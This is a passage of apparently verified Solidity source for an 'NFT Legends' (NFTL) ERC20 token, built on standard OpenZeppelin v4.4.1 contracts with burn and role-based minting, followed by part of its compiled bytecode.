* Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Burnable.sol) pragma solidity ^0.8.0; import "../ERC20.sol"; import "../../../utils/Context.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; /// @custom:security-contact [email protected] contract NFTL is ERC20, ERC20Burnable, AccessControl { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); constructor() ERC20("NFT Legends", "NFTL") { _mint(msg.sender, 10000000 * 10 ** decimals()); _grantRole(DEFAULT_ADMIN_ROLE, msg.sender); _grantRole(MINTER_ROLE, msg.sender); } function mint(address to, uint256 amount) public onlyRole(MINTER_ROLE) { _mint(to, amount); } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c806342966c68116100b8578063a217fddf1161007c578063a217fddf1461039b578063a457c2d7146103b9578063a9059cbb146103e9578063d539139314610419578063d547741f14610437578063dd62ed3e1461045357610142565b806342966c68146102e557806370a082311461030157806379cc67901461033157806391d148541461034d57806395d89b411461037d57610142565b8063248a9ca31161010a578063248a9ca3146102135780632f2ff15d14610243578063313ce5671461025f57806336568abe1461027d578063395093511461029957806340c10f19146102c957610142565b806301ffc9a71461014757806306fdde0314610177578063095ea7b31461019557806318160ddd146101c557806323b872dd146101e3575b600080fd5b610161600480360381019061015c9190611a85565b610483565b60405161016e9190611dcc565b60405180910390f35b61017f6104fd565b60405161018c9190611e02565b60405180910390f35b6101af60048036038101906101aa91906119d8565b61058f565b6040516101bc9190611dcc565b60405180910390f35b6101cd6105ad565b6040516101da9190611fc4565b60405180910390f35b6101fd60048036038101906101f89190611985565b6105b7565b60405161020a9190611dcc565b60405180910390f35b61022d60048036038101906102289190611a18565b6106af565b60405161023a9190611de7565b60405180910390f35b61025d60048036038101906102589190611a45565b6106cf565b005b6102676106f8565b6040516102749190611fdf565b60405180910390f35b61029760048036038101906102929190611a45565b610701565b005b6102b360048036038101906102ae91906119d8565b610784565b6040516102c09190611dcc565b60405180910390f35b6102e360048036038101906102de91906119d8565b610830565b005b6102ff60048036038101906102fa9190611ab2565b610871565b005b61031b60048036038101906103169190611918565b610885565b6040516103289190611fc4565b60405180910390f35b61034b600480360381019061034691906119d8565b6108cd565b005b61036760048036038101906103629190611a45565b610948565b6040516103749190611dcc565b60405180910390f35b6103856109b3565b6040516103929190611e02565b60405180910390f35b6103a3610a45565b6040516103b09190611de7565b60405180910390f35b6103d360048036038101906103ce91906119d8565b610a4c565b6040516103e09190611dcc565b60405180910390f35b61040360048036038101906103fe91906119d8565b610b37565b6040516104109190611dcc565b60405180910390f35b610421610b55565b60405161042e9190611de7565b60405180910390f35b610451600480360381019061044c9190611a45565b610b79565b005b61046d60048036038101906104689190611945565b610ba2565b60405161047a9190611fc4565b60405180910390f35b60007f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806104f657506104f582610c29565b5b9050919050565b60606003805461050c906121ed565b80601f0160208091040260200160405190810160405280929190818152602001828054610538906121ed565b80156105855780601f1061055a57610100808354040283529160200191610585565b820191906000526020600020905b81548152906001019060200180831161056857829003601f168201915b5050505050905090565b60006105a361059c610c93565b8484610c9b565b6001905092915050565b6000600254905090565b60006105c4848484610e66565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061060f610c93565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561068f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068690611ec4565b60405180910390fd5b6106a38561069b610c93565b858403610c9b565b60019150509392505050565b600060056000838152602001908152602001600020600101549050919050565b6106d8826106af565b6106e9816106e4610c93565b6110e7565b6106f38383611184565b505050565b60006012905090565b610709610c93565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610776576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076d90611f84565b60405180910390fd5b6107808282611265565b5050565b6000610826610791610c93565b84846001600061079f610c93565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108219190612021565b610c9b565b6001905092915050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a66108628161085d610c93565b6110e7565b61086c8383611347565b505050565b61088261087c610c93565b826114a7565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006108e0836108db610c93565b610ba2565b905081811015610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90611ee4565b60405180910390fd5b61093983610931610c93565b848403610c9b565b61094383836114a7565b505050565b60006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6060600480546109c2906121ed565b80601f01602080910402602001604051908101604052809291908181526020018280546109ee906121ed565b8015610a3b5780601f10610a1057610100808354040283529160200191610a3b565b820191906000526020600020905b815481529060010190602001808311610a1e57829003601f168201915b5050505050905090565b6000801b81565b60008060016000610a5b610c93565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90611f64565b60405180910390fd5b610b2c610b23610c93565b85858403610c9b565b600191505092915050565b6000610b4b610b44610c93565b8484610e66565b6001905092915050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b610b82826106af565b610b9381610b8e610c93565b6110e7565b610b9d8383611265565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0290611f44565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7290611e84565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e599190611fc4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ed6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecd90611f24565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3d90611e44565b60405180910390fd5b610f5183838361167e565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fce90611ea4565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461106a9190612021565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110ce9190611fc4565b60405180910390a36110e1848484611683565b50505050565b6110f18282610948565b611180576111168173ffffffffffffffffffffffffffffffffffffffff166014611688565b6111248360001c6020611688565b604051602001611135929190611d92565b6040516020818303038152906040526040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111779190611e02565b60405180910390fd5b5050565b61118e8282610948565b6112615760016005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611206610c93565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b61126f8282610948565b156113435760006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506112e8610c93565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ae90611fa4565b60405180910390fd5b6113c36000838361167e565b80600260008282546113d59190612021565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461142a9190612021565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161148f9190611fc4565b60405180910390a36114a360008383611683565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611517576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150e90611f04565b60405180910390fd5b6115238260008361167e565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156115a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a090611e64565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816002600082825461160091906120d1565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116659190611fc4565b60405180910390a361167983600084611683565b505050565b505050565b505050565b60606000600283600261169b9190612077565b6116a59190612021565b67ffffffffffffffff8111156116be576116bd6122ac565b5b6040519080825280601f01601f1916602001820160405280156116f05781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000816000815181106117285761172761227d565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061178c5761178b61227d565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600060018460026117cc9190612077565b6117d69190612021565b90505b6001811115611876577f3031323334353637383961626364656600000000000000000000000000000000600f8616601081106118185761181761227d565b5b1a60f81b82828151811061182f5761182e61227d565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c94508061186f906121c3565b90506117d9565b50600084146118ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b190611e24565b60405180910390fd5b8091505092915050565b6000813590506118d3816126fa565b92915050565b6000813590506118e881612711565b92915050565b6000813590506118fd81612728565b92915050565b6000813590506119128161273f565b92915050565b60006020828403121561192e5761192d6122db565b5b600061193c848285016118c4565b91505092915050565b6000806040838503121561195c5761195b6122db565b5b600061196a858286016118c4565b925050602061197b858286016118c4565b9150509250929050565b60008060006060848603121561199e5761199d6122db565b5b60006119ac868287016118c4565b93505060206119bd868287016118c4565b92505060406119ce86828701611903565b9150509250925092565b600080604083850312156119ef576119ee6122db565b5b60006119fd858286016118c4565b9250506020611a0e85828601611903565b9150509250929050565b600060208284031215611a2e57611a2d6122db565b5b6000611a3c848285016118d9565b91505092915050565b60008060408385031215611a5c57611a5b6122db565b5b6000611a6a858286016118d9565b9250506020611a7b858286016118c4565b9150509250929050565b600060208284031215611a9b57611a9a6122db565b5b6000611aa9848285016118ee565b91505092915050565b600060208284031215611ac857611ac76122db565b5b6000611ad684828501611903565b91505092915050565b611ae881612117565b82525050565b611af781612123565b82525050565b6000611b0882611ffa565b611b128185612005565b9350611b22818560208601612190565b611b2b816122e0565b840191505092915050565b6000611b4182611ffa565b611b4b8185612016565b9350611b5b818560208601612190565b80840191505092915050565b6000611b74602083612005565b9150611b7f826122f1565b602082019050919050565b6000611b97602383612005565b9150611ba28261231a565b604082019050919050565b6000611bba602283612005565b9150611bc582612369565b604082019050919050565b6000611bdd602283612005565b9150611be8826123b8565b604082019050919050565b6000611c00602683612005565b9150611c0b82612407565b604082019050919050565b6000611c23602883612005565b9150611c2e82612456565b604082019050919050565b6000611c46602483612005565b9150611c51826124a5565b604082019050919050565b6000611c69602183612005565b9150611c74826124f4565b604082019050919050565b6000611c8c602583612005565b9150611c9782612543565b604082019050919050565b6000611caf602483612005565b9150611cba82612592565b604082019050919050565b6000611cd2601783612016565b9150611cdd826125e1565b601782019050919050565b6000611cf5602583612005565b9150611d008261260a565b604082019050919050565b6000611d18601183612016565b9150611d2382612659565b601182019050919050565b6000611d3b602f83612005565b9150611d4682612682565b604082019050919050565b6000611d5e601f83612005565b9150611d69826126d1565b602082019050919050565b611d7d81612179565b82525050565b611d8c81612183565b82525050565b6000611d9d82611cc5565b9150611da98285611b36565b9150611db482611d0b565b9150611dc08284611b36565b91508190509392505050565b6000602082019050611de16000830184611adf565b92915050565b6000602082019050611dfc6000830184611aee565b92915050565b60006020820190508181036000830152611e1c8184611afd565b905092915050565b60006020820190508181036000830152611e3d81611b67565b9050919050565b60006020820190508181036000830152611e5d81611b8a565b9050919050565b60006020820190508181036000830152611e7d81611bad565b9050919050565b60006020820190508181036000830152611e9d81611bd0565b9050919050565b60006020820190508181036000830152611ebd81611bf3565b9050919050565b60006020820190508181036000830152611edd81611c16565b9050919050565b60006020820190508181036000830152611efd81611c39565b9050919050565b60006020820190508181036000830152611f1d81611c5c565b9050919050565b60006020820190508181036000830152611f3d81611c7f565b9050919050565b60006020820190508181036000830152611f5d81611ca2565b9050919050565b60006020820190508181036000830152611f7d81611ce8565b9050919050565b60006020820190508181036000830152611f9d81611d2e565b9050919050565b60006020820190508181036000830152611fbd81611d51565b9050919050565b6000602082019050611fd96000830184611d74565b92915050565b6000602082019050611ff46000830184611d835